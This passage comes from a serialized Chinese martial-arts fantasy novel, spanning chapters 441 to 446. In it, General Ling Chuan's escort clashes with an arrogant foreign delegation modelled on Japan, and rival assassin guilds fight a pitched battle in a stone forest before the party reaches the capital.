他微微颔首,语气带着几分难得的郑重:“这天下读书人如过江之鲫,但能入老夫法眼的,满打满算,也就只有一个半!” “哦?”凌川大感意外,追问道:“人还能有半个的说法?” 杨铁匠不以为意地捋了捋胡须,慢悠悠道:“你口中这位书院院长,算一个。剩下那半个,是云书阑那个书呆子!” 这个评价让凌川颇为诧异,杨铁匠身为江湖顶尖强者,向来对那些咬文嚼字的书生没什么好感,之所以对云书阑另眼相看,主要还是因为对方同样踏入了武道修行。 他不由猜测道:“莫非……这位院长大人,也深谙武道?” 杨铁匠却摇了摇头:“没人见过他出手,不过江湖素有传闻,他自称略懂一些拳脚!” 尽管尚未见到这位充满传奇色彩的书院院长,凌川心中却已对此人产生了浓厚的兴趣,此次前往神都,若有机会,定要前去拜访一番,不过听闻他以自封藏书塔,估计也见不到。 杨铁匠见状,只是意味深长地笑了笑,并未再多言。 当日傍晚,队伍在周南县落脚,此地距离神都已不足两百里。 周南县最初只有一个渡口,名为周南渡,是近几十年才逐渐形成的一座县城。 洛水从神都一路向北奔流,至此地河道回转,折向东去。 以往,许多出入神都的商旅行人都会选择在此乘船,由于往来客商日益增多,码头规模不断扩大,众多商贩也随之在此扎根,久而久之,便形成了一座颇具规模的县城。 当然,由此乘船前往神都乃是逆水行舟,速度远不及骑马沿官道驰骋,平民百姓和行商多是为了节省路费,才会选择水路。 安顿下来后,蓝少堂麾下的校尉朱彦特意前来寻到凌川,面带歉意地解释道:“凌将军,大和使团今晚也恰好在此落脚。可这周南县里,能上得了台面的客栈仅此一家,只能将他们的主要使臣也安排在此处,实在是委屈将军与夫人了,还请您多多包涵!” 凌川抱拳回礼,爽朗笑道:“朱校尉太客气了,我手下这帮兄弟,在边关风餐露宿惯了,没那么娇气。倒是给禁军的兄弟们添麻烦了!” “将军言重了!”朱彦连忙摆手,语气诚恳,“我们虽驻守神都,但对凌将军在北疆的英勇事迹可是如雷贯耳,军中弟兄们对您,那是打心眼里敬佩仰慕!” 晚饭时分,一支队伍逶迤进入周南县。 凌川闻声向客栈门外望去,只见为首的骑兵肤色与中原人差异不大,但身形普遍略显矮小精悍。 领头的是一对年轻男女,二人并未着甲,男子额至头顶的头发被剃光,仅保留两侧及后脑头发,形成半秃效果;而那女子则是扎着头发,略显精干。 男子着黑衣,右胸前绣着一只三组神鸟,双目赤红;女子着白衣,左胸前秀十六瓣菊纹,脚下踩着木底鞋,走起路来嗒嗒作响。 第一卷 第441章 大和使团! 二人身后,两列士兵默然肃立,他们的铠甲与大周制式迥然不同,由深褐色的竹片与暗哑的金属片复合缀成,结构紧凑而怪异,透着一种异邦的森然。 每人腰间皆赫然佩着一长一短两把战刀,长刀形似横刀却带着一道弧度,短刀则尽显精悍,仿佛专为贴身搏命而设。 紧接着,队伍中央那辆装饰得过分考究、甚至带着几分浮夸的马车帘幕掀动,一名女子款步而下。 她的服饰与中原女子的飘逸清雅截然不同,一身色彩浓艳到近乎刺目的绸缎层叠繁复,仿佛将整块绸布裹在了身上。 宽大的腰带在身后结成一个巨大而精致的‘兜’,其下垫着类似方枕的支撑物,使得整个背部线条被强行拉扯得笔直僵硬,透着一股刻意而为的刻板。 然而,最引人侧目的,是她那张脸。 厚厚的白色粉末如同刷墙般覆盖了整张脸和脖子,细腻却毫无生气,呈现出一种病态的瓷白。 原本的眉毛被彻底剃光,只在额骨高处,用青黛精心描画出两弯细短如蚕蛾触须的假眉,透着十足的怪异。 嘴唇则点染得极小,殷红如血,点在雪白的脸庞上,恰似雪地里突兀绽放的一朵毒菇,美艳之余,更让人脊背生寒。 此前凌川听到大和帝国时,心中便已猜出了大概,此刻亲眼见到这群人的独特装束,更是彻底坐实了猜想。 “这什么玩意?大白天活见鬼了!”苍蝇只觉一股凉气从尾椎骨窜上来,忍不住小声嘀咕,声音虽低,却清晰地荡在寂静的客栈大堂里。 话音未落,那对侍立在侧的年轻男女目光如冰冷的刀锋,唰地一下便如刀锋席卷了过来,凌厉的杀气瞬间弥漫开来。 “八嘎!” 那男子怒喝一声,声音嘶哑难听,身形一动,已如鬼魅般径直朝着苍蝇逼来,右手五指如铁钳般扣住了腰间的刀柄,手背青筋暴起,仿佛下一瞬便要利刃出鞘,饮血方休。 苍蝇岂是怕事之人?见状非但不退,反而猛地踏步迎上,指着对方鼻子喝道:“孙子!你在狗叫什么?” “大胆!”那男子用极其蹩脚、生硬的中原话厉声斥道,脸上肌肉扭曲,狰狞异常,“竟敢对雪姬公主殿下不敬!立刻,跪下,道歉!” 苍蝇闻言,刻意扭头仔细打量了一下门口那白面女子,随即嗤笑出声,笑声里满是毫不掩饰的鄙夷:“啥玩意儿?你说那人不人、鬼不鬼的东西,是你们公主?嗬!我还以为是哪家戏班子跑出来的角儿,出门会情郎还自带着枕头呢,哈哈哈……” 那大和男子虽不能完全听懂苍蝇连珠炮似的言语,但那讥讽的神情与放肆的笑声,已如鞭子般抽打在他的脸上。 “唰!” 一道刺骨的寒芒如同毒蛇吐信,骤然亮起! 男子拔刀的动作快得超乎常人视觉,只见手臂一振,腰间长刀已然出鞘,带起一股锐利的破空之风,冰冷的杀意如同实质,瞬间将苍蝇笼罩。 好在苍蝇久经沙场,反应迅捷如电,脚下猛地发力,身形向后暴退,险之又险地避开了这无声却致命的一刀,刀锋带起的寒气几乎擦着他的鼻尖掠过。 “我干你娘!”苍蝇又惊又怒,后背瞬间渗出一层冷汗,他既惊于对方竟敢在异国他乡直接拔刀行凶,更怒于此人出刀速度之诡异狠辣。 凌川剑眉一挑,他已然看出,这名护卫实力强悍,刀法诡异迅疾,绝非苍蝇所能匹敌。 为避免事态扩大,他正欲出言喝止,一道声音自门口传来。 “住手!” 一声沉稳却蕴含威势的断喝传来,只见蓝少堂带着几名甲胄鲜明的亲兵快步走入,径直挡在了剑拔弩张的两人之间。 他先是对着那名为雪姬的女子方向拱了拱手,语气不卑不亢:“雪姬小姐,这位是刚从北疆凯旋的凌川凌将军,恰巧在此地与贵使团相遇。方才不过是一场口舌误会,言语冲撞之处,还请公主殿下与诸位海涵,多多担待!” 蓝少堂话音刚落,雪姬身边一名穿着深色和服、留着仁丹胡的中年男子便立刻躬身,用大和语叽里呱啦地快速翻译了一遍。 那名为雪姬的女子听完,被厚粉覆盖的脸上看不出喜怒,只是微微颔首,用同样古怪的语调低声回应了几句,声音如同蚊蚋,却带着一种冰冷的质感。 那中年翻译官听完,转向蓝少堂,挺了挺胸膛,用极其标准的中原话说道:“蓝统领,素闻大周帝国乃礼仪之邦,文明之国。没想到,这还未踏入神都,就发生此等无礼粗鄙之事,实在令人……大失所望!”他话语看似客气,字里行间却充满了居高临下的指责意味。 说完,也不等蓝少堂回话,那雪姬公主便微扬着那张惨白的面孔,在一众护卫的簇拥下,径直向着楼梯走去。 经过凌川他们这一桌时,她那双描画得极其别扭的眼睛,竟毫不避讳地、带着一种审视货物般的目光,冷冷地在凌川、苍蝇等人脸上扫过,那眼神,仿佛在看几只无关紧要的蝼蚁。 蓝少堂看着他们的背影,脸上的官方笑容瞬间收敛,低声啐了一口:“呸!狂个锤子!别忘了百年前你们的使臣,可是跪着爬进神都的!” 凌川见状,主动起身,面带歉意道:“给蓝统领添麻烦了,是凌某御下无方,实在抱歉!” 谁知,蓝少堂却浑不在意地摆了摆手,一屁股坐在凌川拉开的椅子上,压低声音笑道:“有啥可抱歉的?不瞒你说,老子也觉得那模样跟刚从坟里刨出来似的,瞧着晦气!” 听到这话,原本还有些忐忑的苍蝇顿时松了口气,咧嘴笑了起来,他倒不是怕受责罚,只是不愿因自己一时口快,给自家将军惹来不必要的麻烦。 凌川脸上也露出笑意,顺势邀请道:“统领想必还未用饭吧?如不嫌弃,不如一同坐下,凑合吃点?” 蓝少堂也是个爽快人,毫不推辞:“还别说,忙活一整天,真是前胸贴后背了!” 苍蝇极有眼力见,手脚麻利地添了一副碗筷。 第一卷 第442章 剑圣高徒,孤冥! 几人重新落座,酒过一巡,凌川状似随意地问道:“蓝统领,这大和帝国此番派一位女流前来出使我大周,还如此……特立独行,是否太过嚣张,未将我朝放在眼里?” 蓝少堂仰头饮尽杯中酒,眼中闪过一丝压抑的怒意,将酒杯重重顿在桌上,冷笑道:“何止是嚣张!你们有所不知,那个叫雪姬的女子,虽说是当今大和天皇的血脉,却只是天皇与一个卑贱平民女子所生,在宫内地位低下,连个正式的公主封号都没有!” “什么?”此言一出,不仅苍蝇,连一旁的沈珏、孟钊等人也都面露愤慨之色。 “派一个连名分都不正的杂……庶出公主来?”孟钊性格刚直,拳头猛地握紧,骨节发出咯咯声响,“这分明是故意羞辱,藐视我大周国威!” “这公主身份虽不正统,但她身边那两名护卫,却非同小可!”蓝少堂面色转为凝重,目光扫过众人,沉声告诫。 “据可靠情报,那二人乃是大和天皇的贴身护卫,号称天照卫,每一个都是高手,非寻常人可比。而且,大和武士精通一种名为‘隐术’的诡秘技法,神出鬼没令人防不胜防,你们日后若与之遭遇,务必万分小心!” 凌川闻言,眼中闪过一丝了然,平静地开口道:“隐术之名,我倒是略有耳闻!只不过是据说能借助光线、阴影与环境,完全隐匿身形气息,或许还借助了一些烟雾、闪光等小巧机关,本质上仍是一种较为诡异灵活的身法罢了,并没有传言中那般神乎其神、不可破解!” 蓝少堂略感讶异,挑眉看向他:“哦?凌将军对此道竟有了解,从何得知?” 凌川淡然一笑,说道:“之前与杨铁匠喝酒的时候,听他说起过!” 这话倒不是推脱,而是前两日与杨铁匠聊起四方风物时,对方确实随口提过几句,凌川之所以特意询问,更多是想印证自己心中的猜想。 蓝少堂微微颔首,神色更显凝重,继续说道:“此次随行的护卫,皆是大和天皇的亲卫。特别领头的那对年轻男女,实力深不可测。男子名为孤冥,乃是大和剑圣千叶玄一的得意弟子;那女子名为镜千泷,乃是断水流的当代传人。此二人,皆是大和帝国年轻一辈中公认的后起之秀,未来扛鼎之人!” 凌川默默将这二人的名字与流派记在心间,预感此次回神都,与大和使团的纠葛绝不会少。 夜色渐深,大和公主雪姬的客房内。 烛火摇曳,将房间映照得半明半暗。 那对年轻男女,恭敬地垂首立在雪姬面前,尽管眼前这位公主殿下并非嫡出,但二人眼神中依旧保持着绝对的尊敬,那是刻入骨髓的、对于皇室权威的服从。 “确定是他吗?”雪姬用和语轻声问道,声音如同冰珠落玉盘,清脆而冰冷。 孤冥头颅微低,肯定的回答:“回殿下,形貌特征与情报所述基本吻合,应是他无疑!” “找个合适的机会……”雪姬的声音平静无波,仿佛在说一件微不足道的小事。她抬起手,优雅而缓慢地在自己颈前做了一个抹过的动作。 “明白!”孤冥意会,深深鞠躬。他嘴唇微动,似乎想再说什么,可话到嘴边却又咽了回去。 “有问题?”雪姬敏锐地捕捉到他这一细微的迟疑。 孤冥眉头微蹙,低声道:“殿下,靠近此地时,属下隐约感受到一股似有若无的威压,如同深海暗流,虽不强烈,却让人心悸。可当属下凝神试图探查其源头时,那感觉却又消失得无影无踪,仿佛只是错觉。” “莫不是你多疑了?”雪姬淡淡反问,那双被精心描绘过的眼眸里看不出情绪。 孤冥沉吟一瞬,终究不敢断言:“或许吧,但愿如此!” 一夜无事。 次日清晨,天光微熹,凌川便已起床。伤势初愈,虽不宜进行剧烈晨练,但多年养成的习惯,让他到了时辰便再无睡意。 他披衣走出房间,在清冷的院中寻了一处干净的石阶盘膝坐下,缓缓调整呼吸,感受着体内那道独一无二的真气在经脉中如溪流般潺潺流动。 而他并不知道,不远处另一座庭院的二楼,一扇窗户悄然虚开一条缝隙。 大和公主雪姬正隐在窗后的阴影里,透过缝隙,静静地注视着院中那道挺拔的身影。她的目光冷静而专注,像是在审视一件物品,嘴角逐渐浮起一抹阴冷之笑。 约莫半个时辰后,苏璃端着一碗温热的羹汤寻来,柔声唤凌川用早饭。 晨曦映照在她清丽绝伦的侧脸上,宛如镀上了一层温暖的光晕。 饶是雪姬见惯了宫廷美色,此刻也不由得为苏璃的容貌与气质暗自惊叹,然而,在那惊叹之下,一丝本不该属于女子的、混合着占有与毁灭的奇异贪婪,在她眼底一闪而逝。 辰时刚过,队伍再次起程,禁军护卫森严。 途中,凌川钻进了杨铁匠那辆堆满杂物、酒气弥漫的马车。 “杨老头,听说大和帝国那边出了一位自称剑圣的高手,名叫千叶玄一,你可知道?”凌川好奇问道。 “他爱叫啥叫啥,关我屁事!”杨铁匠眼皮都懒得抬,抱着酒葫芦缩在角落,一副天塌下来也别吵老子的漠然姿态。 “你难道就不想跟他切磋切磋?印证一下剑道?”凌川不死心地追问。 “哼哼……”杨铁匠从鼻子里发出两声意味不明的轻笑,“若是三十年前,老夫或许还有这份争强好胜的心思。现在,我不过是个苟延残喘的老头,只想多活几天,多喝几口狼血。什么剑圣剑仙,这名头听着就累得慌,留给萧剑离、李长亭那些精力旺盛的后来者去操心吧!” “那你可曾去过大和帝国?” 杨铁匠摇了摇头,难得多说了几句:“老夫哪有那份闲心,不过,听早年跑海的人提起过,说是一支栖居岛上的族群,其武技源流,细究起来,与我中原古时某些流派倒有几分说不清道不明的渊源。三十年前,倒是有个自称来自大和的武士,漂洋过海来到中原四处挑战,气焰嚣张得很,被老夫顺手教训了一顿,丢回海里去了!” 第一卷 第443章 最后的刺杀机会 两人闲聊片刻,凌川又将话题引回自身:“杨老头,我发现一个问题。虽然我一直未能凝聚出第二道真气,但随着近日修炼,体内那道唯一的金色真气,却比以往更加雄浑凝练,运转起来如臂使指,威力似乎也增进了不少,这究竟是何缘故?” “你小子就是个怪胎!”杨铁匠终于掀开眼皮瞥了他一眼,“老夫活了大半辈子,就没见过你这样的路子!”他嘴上虽嫌弃,却还是伸出一只干枯如老树皮的手,搭上凌川的手腕,一股精纯却温和的真气悄然渡入。 片刻后,他收回手,重新抱起酒葫芦,闭目养神:“大道三千,未必只有一条路能通天。你这情况,前所未见,老夫也爱莫能助,终究要靠你自己去摸索。” 凌川敏锐地察觉到,越是靠近神都,这位平日里玩世不恭的老头子,眉宇间那抹挥之不去的沉郁之色便浓重几分。 特别是进入洛州地界后,他时常望着车外出神,浑浊的眼眸中,时有复杂难明的异色流转,仿佛那雄伟的神都城内,藏着一段他不愿触及的过往。 万安山,位于神都以北百里之处,此地有一片壮阔石林,高低起伏、层次分明,其中沟壑纵横,宛如一座巨大的迷宫。 而去往神都的官道,便需穿过这片石林。 此时,在距离官道不远处的万安山石林中,四道身影如同鬼魅般隐匿于嶙峋怪石的阴影里。 这四人,正是以渔家傲为首的丹青府杀手。 “你确定要选在此地下手?眼下可是有两千禁军前后护送,铁桶一般!”那手持翠绿竹箫、面容俊美如女子的十二郎沉声开口,语气中带着显而易见的疑虑。 渔家傲没有说话,只是用指腹缓缓摩挲着手中那根磨得光滑的竹制鱼竿,仿佛在抚摸情人的肌肤。 半晌,他才抬眼,目光锐利如鹰:“连你都觉得,在此时此地刺杀,无异于以卵击石,匪夷所思。那么,对方必然也想不到我们敢兵行险着。这,至少能让我们的胜算,凭空多出一成。” “有道理!”一旁手持布幡、作算命先生打扮的卜算子点了点头,接着分析道:“眼看已近神都,又有重兵护卫,人心最容易松懈。我等雷霆一击,无论成败,立刻遁入这天然迷宫中,依仗地利可迅速脱身!” 渔家傲没有多言,俯身捡起一块尖锐的石子,在一块相对平整光滑的石板上快速画了起来。不消片刻,他竟将这片偌大石林中那些错综复杂、宛如蛛网般的路径与隐蔽缝隙,清晰地复刻了出来,随后又标出了几条关键的撤退路线。 “这是我耗费数日工夫,摸清的路径与几个隐蔽点,大家抓紧时间记牢!”渔家傲的声音低沉而严肃,“一击之后,无论得手与否,立刻按各自路线撤离!” 几人闻言,目光瞬间变得灼热,死死盯住石板上的线路图,仿佛要将每一道刻痕都烙印在脑海里。 他们心知肚明,这已是最后的机会,若此番再度失手,不仅意味着此次的刺杀行动彻底失败,此后,更是会遭到北系军、廷尉府乃至禁军的报复。 就在四人全神贯注默记路线之际,渔家傲忽然神色剧变,只见他抓起一把泥土,猛地向石板上的线路图抹去,试图掩盖痕迹。 然而,就在此时,一道略带戏谑的声音,自上方悠然传来: “计划确实周详,完美利用了人心与地利,只可惜啊可惜……你们注定,不可能得手!” 声音刚一响起,四人身形迅速掠起,稳稳落在石林上方。 目光所及,只见不远处一名身材魁梧的男子,大马金刀地坐在一块巨石上,背后那口造型狰狞、环首沉重的大环刀,在阳光下泛着冷硬的乌光。 另一侧,一名身形修长矫健的男子,正悠闲地躺在一块斜出的石头上,双手各持一杆四尺短枪,枪尖雪亮。他姿态看似惬意,眼神却如鹰隼般锐利。 不远处,一根最高最险的石柱顶端,静静立着一名手持长剑的男子。 他站在最醒目的位置,身形却仿佛与脚下的石柱融为一体,气息收敛到了极致,若不集中目力仔细观瞧,极易将其忽略。 而另外一个方向,一名身着青色长衫的男子背负双手,脸上带着若有若无的笑意,正饶有兴致地打量着他们几人,眼神却冰冷如霜。 渔家傲冰冷的目光从这四人身上逐一扫过,声音如同寒冬刮过的风:“洪乙、曲戊、宫己、庾庚……十天元竟然一次性出动了四位,你们风雪楼,为了保那凌川,还真是肯下血本!” 丹青府之中的杀手,皆以词牌名为代号;而作为其老对头的风雪楼,其最强的两批杀手,则以十天干和十二地支为名号,内部亦尊称为十天元与十二地元。 钗头凤眼神中闪过一抹凌厉的杀意,满脸鄙夷地讥讽道:“真是滑天下之大稽!你们风雪楼,什么时候自甘堕落,沦为他凌川门下走狗了?” “乌鸦就别笑猪黑了!”那手持双枪的曲戊冷哼一声,反唇相讥,“你们丹青府,不也一样在替某些藏头露尾之辈卖命吗?彼此彼此!” “杀不掉凌川,那今日就拿你们几个的人头回去交差,想必也能换不少赏钱!”手持竹箫的十二郎缓缓声音冷漠,目露杀机。 “那就别废话了,动手吧!”那始终背负双手的庾庚陡然一声轻吒,只见他双臂一振,双手齐出。 只见他指缝间不知何时已夹满了各种形状的暗器,随着他手腕一甩,道道肉眼难辨的寒芒如同疾风骤雨,率先向着丹青府四人笼罩而去。 与此同时,立于石柱顶端的宫己也动了,他脚尖在石柱顶端轻轻一点,身形如一只发现猎物的鹰隼,俯冲而下,速度快得只在空中留下一道淡淡的残影。 “锵!” 清脆的剑鸣声响彻石林,一道匹练般的寒芒自他手中迸射而出,长剑已然出鞘,凌厉无匹的剑意如丝如缕,精准地将手持竹箫的十二郎牢牢锁定。 第一卷 第444章 捉对厮杀 另一边,伴随着一片哗啦啦的金属环扣碰撞之声,洪乙反手拔出那口沉重的大环刀,身形猛然一跃,如同猛虎出闸,带着一股凶悍的气势,直接扑向四人中实力最强的渔家傲。 曲戊双手一拧一扣,手中两杆短枪尾端巧妙对接,‘咔嚓’一声,瞬间组合成一杆长度惊人的双头长枪,他身形几个闪烁,步伐诡异难测,迅速逼近卜算子,枪尖抖动,直取其周身要害。 丹青府四人脸色骤变,没料到对方竟如此不按常理出牌,一言不合便直接发动雷霆攻势,这完全违背了以往双方碰面多半要先言语试探、互相讥讽的惯例。 但既然已经动手,身为丹青府顶尖杀手的尊严,绝不容许他们退缩。 双方明争暗斗多年,都欲将对方压下,稳坐江湖第一杀手组织的头把交椅,然而一直以来都势均力敌,谁也无法真正占据绝对上风。 今日狭路相逢,正是一决高下的时机! 宫己的剑法,快得只剩下一片令人眼花缭乱的寒光,剑招狠辣凌厉,专攻十二郎周身要害,每一剑都带着撕裂空气的尖啸。 十二郎面对这疾风暴雨般的攻势,脸上却不见半分慌乱。 只见他手腕一抖,那杆翠绿竹箫竟从中裂开,一柄形制奇特的兵刃被拔出,它狭长如剑,却有四棱锋刃,顶端尖锐无比,更像是一根硕大的透骨钢锥! 一连串急促金铁交鸣声响起,十二郎将这奇门兵刃使得刁钻诡谲至极,或刺、或点、或拨、或搅……招式全然不依常理,往往从不可思议的角度递出,精准地荡开宫己的快剑。 那四棱钢锥与长剑摩擦,带起一溜溜刺眼的火花。 两人身形在嶙峋怪石间急速交错、碰撞、分开,眨眼间已交手十余回合。 宫己的剑越来越快,试图以绝对的速度压制对方;可十二郎则如一条滑不留手的泥鳅,凭借诡异身法和奇门兵器,在漫天剑影中穿梭,伺机反扑,那尖锐的锥尖时不时如毒蛇吐信,直指宫己剑招中的细微破绽,战况陷入胶着,凶险异常。 另一边,曲戊与卜算子之间的战斗,则是另一种风格的对决。 曲戊的双头长枪在他手中宛如活了过来,枪身时而如蟒蛇出洞,猛刺直扎,势大力沉。 时而又如风车舞动,两端枪头划出令人目眩的圆弧,将卜算子周身尽数笼罩。 他步伐灵动,忽远忽近,将长兵器的优势发挥得淋漓尽致。 而卜算子此刻也撕下了伪装,只见他手腕一拧,那杆挂着布幡的木杆,外层木质竟应声碎裂脱落,露出里面一杆通体乌黑、闪着金属寒芒的长枪。 他持枪在手,整个人的气势陡然一变,从之前的阴鸷算计,变得沉稳如山,赫然也是一位用枪的大行家! 两杆长枪如同两条恶龙,在空中激烈碰撞、绞杀。 曲戊的枪法灵动诡谲,虚实相间,双头并用,让人防不胜防;而卜算子的枪法则显得老辣沉稳,招式古朴简练,每一枪都直奔要害,善于后发先至,以巧破力。 枪影纵横,劲气四射,他们都在寻找对方的破绽,长枪碰撞发出的声音不再是清脆的金属交击,而是愈发沉闷、震撼,显然双方灌注的真气越来越强。 这是一场势均力敌的较量,胜负或许只在顷刻之间。 其他战团,同样是惊险异常。 庾庚双手如同穿花蝴蝶,那掌指间仿佛连接着一个无形的百宝囊,各种飞镖、梅花针、铁蒺藜……层出不穷的暗器,形成一张几乎没有死角的死亡之网,将手持一双弯刀、身形曼妙的钗头凤逼得连连后退,只能凭借灵巧的身法在石林间穿梭闪避。 然而,钗头凤虽看似落在下风,那张妩媚的脸上却看不到丝毫慌乱。 她手中一对弯刀舞动如轮,化作一团银亮的光罩,将绝大多数暗器挡住,剩下的也都凭借敏捷的身形避开。 忽然,她身形一闪,直接没入一道狭窄的石缝之中,借助内部蜿蜒曲折的地形,瞬间消失无踪。 “哗啦啦……” 洪乙手中那口沉重的大环刀,带着一股恶风,泛起一道刺目的寒芒,如同匹练般朝着渔家傲拦腰横斩而去,气势狂猛无比。 渔家傲心知力量不及对方,脚下连连后退,同时手中那根看似普通的竹制鱼竿猛然一抖,顶端的鱼线发出尖锐的呜咽之声,如同拥有生命般,划出一道诡异的弧线,竟然后发先至,精准无比地缠绕向洪乙挥刀的手腕。 洪乙只觉右手手腕骤然一紧,一股冰凉的刺痛传来,手臂竟被那细如发丝学坚韧异常的鱼线缠住,鱼线末端带着一只形如蜘蛛的八爪倒钩,已然深深刺入他手臂的皮肉之中,牢牢扣住。 他深知对方这看似普通的竹竿和鱼线,实则是请高人巧匠精心制作的神兵利器,近些年来,江湖中不知有多少成名高手,便是栽在这根毫不起眼的鱼线之下。 在真气的灌注之下,那鱼线越收越紧,深深勒入皮肉,几乎要切断血脉。 忽然,渔家傲眼中杀机爆闪,竹竿再次以一种诡异的角度抖动,那根致命的鱼线在空中划出一道更刁钻的圆弧,竟如同拥有生命的毒蛇,舍弃手腕,转而缠向洪乙的脖颈! 洪乙临危不乱,低吼一声,竟果断松开了握刀的右手,那口沉重的大环刀向下坠落。 与此同时,他左手如电般探出,精准地凌空抓住刀柄,顺势反手一刀向上撩起! “崩!” 一声轻微的、如同琴弦断裂的声音响起,那坚韧无比的鱼线,竟被他这蓄满真气、精准无比的一刀,硬生生崩断。 洪乙不顾依旧残留在右手小臂上的八爪钩,身体借着撩刀之势猛然向前蹿出,再次凶悍地扑向渔家傲,左手刀带着一往无前的气势,力劈而下! 渔家傲眼神凝重,杀意却更盛,他手中竹竿急速舞动,时而如长枪直刺,时而如软鞭抽打,幻化出漫天竿影,朝着洪乙周身要害袭去,试图以轻灵和诡变克制对方的刚猛。 第一卷 第445章 老娘跟你拼了 洪乙虽是左手持刀,却依旧举重若轻,将那口沉重的大环刀舞得虎虎生风,将轻灵毒辣的竹竿攻势尽数挡下。 随着他步步紧逼,几个呼吸间便已强行拉近距离,突破竿影,杀到渔家傲跟前,又是一刀狠劈。 渔家傲自知无法在力量上与他对抗,只能再次侧身躲避。 然而,洪乙丰富的战斗经验让他似乎早已料到这一步,几乎在渔家傲侧身的同时,他空着的右手已然握拳,手臂肌肉贲张,一记势大力沉的重拳,直奔渔家傲空门大开的胸腹而来。 这一次,渔家傲已是避无可避,只能猛吸一口气,仓促间运起真气,同样一拳迎了上去。 “嘭!” 两只拳头悍然碰撞,恐怖的真气以两人为中心轰然席卷开来,渔家傲的身形也被这势大力沉的一拳震得踉跄后退,体内气血一阵翻腾。 正当洪乙准备提刀扑上去的刹那,一道鬼魅般的身影,自洪乙身后一道极不起眼的狭窄石缝中悄无声息地掠起,正是之前借助地形隐匿起来的钗头凤。 她手中那一对弯刀划出两道凄冷的弧光,一上一下,直接朝着洪乙的后颈害横斩而。 “小心!”庾庚的提醒声响起。 洪乙顿时惊出一身冷汗,没想到钗头凤的真正目标竟然是自己,她之前的隐匿,并非怯战,而是为了这致命的一击。 此时的洪乙,根本来不及转身或完全躲避,生死关头,他展现出了作为十天元高手的惊人应变能力,他竟不回头,凭借听风辨位,将左手中的大环刀猛地向身后一记横扫,试图以攻代守,逼退来袭者。 渔家傲见状,岂会放过这千载难逢的夹击机会,强提一口真气,便要合身扑上。 “咻咻咻!” 然而,左侧瞬间传来密集的破空声,数点寒星以极其刁钻的角度射向渔家傲的必经之路,显然是擅长暗器的庾庚再次出手,精准地封锁了他的进攻路线,为洪乙解围。 战场形势,瞬息万变。 原本看似捉对厮杀的均势,因钗头凤这诡谲莫测的一击,而被瞬间打破,杀机陡增! 好在风雪楼这四名天元高手的实力过硬,有惊无险地稳住了局势。 战斗依然还在持续,只不过,双方由捉对厮杀演变成了混战,始终僵持不下。 让丹青府的渔家傲等人震惊的是,以往,他们与风雪楼大多都是言语交锋,就算偶有动手,大多也是象征性过几招,可这一次,风雪楼这四位天元高手完全就是一副拼命的姿态。 八道身影在石林之上辗转腾挪,彼此的对手在不断变幻,忽然,六道寒芒飞射而来,径直射向渔家傲,后者顿时一惊,抬眼望去,那赫然是六把飞剑,他不敢大意,手中鱼竿连连挥动,想要将其挡住。 尽管他那根鱼竿坚韧异常,在这六把名震江湖的蜀山神兵跟前,还是显得异常脆弱。 在一阵金铁交鸣声响起后,那鱼竿直接被绞碎。 沈七岁身形闪现,继续操控六把飞剑,朝着渔家傲逼近。 与此同时,一道金光自另一边袭来,一禅小和尚一拳轰向卜算子,后者大惊,连忙横过长枪抵挡。 “轰!” 一声巨响,那一拳结结实实砸在枪杆之上,卜算子只感觉一股恐怖的力量如巨浪袭来,他双臂发麻,身体更是被震得连连后退。 可不等他反应过来,小和尚再次运转真气,凝聚出一只磨盘大的金色掌印,朝着他横推过来。 卜算子大惊,猛然运转真气灌注于长枪之中,顷刻间,那杆长枪弥漫着恐怖杀机,径直朝着金色手掌刺来。 又是一声巨响,卜算子这竭尽全力的一枪只是让那金色手掌上浮现出道道裂痕,并未能彻底将其洞穿,然而他自己却被这一掌再次逼退。 对于这两位少年,饶是他们这几位成名多年的江湖高手,也不敢有丝毫大意,毕竟他们年纪轻轻便已经是六重境修为,放眼天下,那都是最恐怖的武道天才。 “撤!” 就在此时,不远处传来渔家傲的声音,卜算子不敢耽搁,转身一跃,没入一条石缝之中。 十二郎见渔家傲败走,知道事不可为,一声短促呼哨,虚晃一招便翻身跃入石缝。 钗头凤正要撤离,却被沈七岁堵住了退路。 “想走,问过小爷手里的剑了吗?”沈七岁轻喝一声,双手结剑印,催动六把长剑攻向钗头凤。 六把长剑从不同的轨迹或劈或斩、或削或刺,将钗头凤逼得连连后退。 此时的钗头凤已然被一片密集剑芒笼罩,她双刀挥舞得密不透风,却也只能勉强抵挡。 就在这千钧一发之际,钗头凤竟然麻利脱下自己的外衣,只剩一件贴身肚兜,大片肌肤暴露在外。 此时,沈七岁才发现,那件华丽衣袍的里面竟然闪烁着道道寒芒,显然那是一件极为精致的软甲。 随着她舞动衣袍,竟然硬生生将六把长剑带偏,当然,那件华美衣袍连同软甲也一同被绞碎。 就在她准备趁机跳进石缝中逃走的瞬间,两道乌光自沈七岁手中无声射出。 那赫然是两柄三寸长的木剑! “嗤嗤!” 木剑不偏不倚,正射中钗头凤胸前,沈七岁原本是出于本能地攻其要害,却忽略了对方是女子。 见两片血迹顺着木剑流淌而出,沈七岁顿时露出尴尬之色,他连忙收剑后退。 “实在抱歉,我并非有意……” 钗头凤顿时满脸涨红,眼中几乎喷出火来:“我尼玛……小淫贼!老娘跟你拼了!”她状若疯狂,想要冲上来将沈七岁撕碎。 沈七岁没有出手的意思,而是提醒道:“你同伴都跑了,你要是再不走可就走不了了!” 钗头凤这才意识到同伴已全部撤离,理智终于压过羞愤。 她恶狠狠地瞪了沈七岁一眼,咬牙道:“这笔账,老娘记下了,早晚把你那二两肉剁下来喂狗!” 说罢身形一扭,如灵猫般窜入最近的一条石缝,转瞬不见。 小和尚冲上来,不明所以地问道:“七岁,她刚刚说要剁你哪里?” 沈七岁对着他的光头便是一记爆栗,“大人的事儿,小孩少打听!” 一禅和尚摸了摸脑袋,脸上满是疑惑。 而就在此时,洪乙等四人也走了过来,对沈七岁与小和尚抱拳致谢。 沈七岁摆了摆手,十分豪爽地说道:“诸位不必客气,上次在望云关,多亏你们出手解围,这一次,算是扯平了!” 之前,离开望云关之后,凌川便让沈七岁去找小和尚,不曾想正好遇到了这场战斗。 第一卷 第446章 抵达神都 两日后,凌川的队伍终于抵达神都。 远眺而去,那座巍峨巨城宛如一头沉睡的远古巨兽,静静地匍匐在天地交界处。 青灰色的城墙高耸入云,在阳光下泛着冷硬的光泽,城楼飞檐如展翅的苍鹰,带着睥睨天下的气势。还未靠近,一股厚重如山的压迫感便扑面而来。 那是历经千年沧桑沉淀的历史厚重感,更是皇权至尊的无形威压。 随行的大和使团成员不约而同地倒吸一口凉气,他们故国虽然也有不少雄城,但与眼前这座被誉为天下第一城的神都相比,简直如同土丘之于山岳。 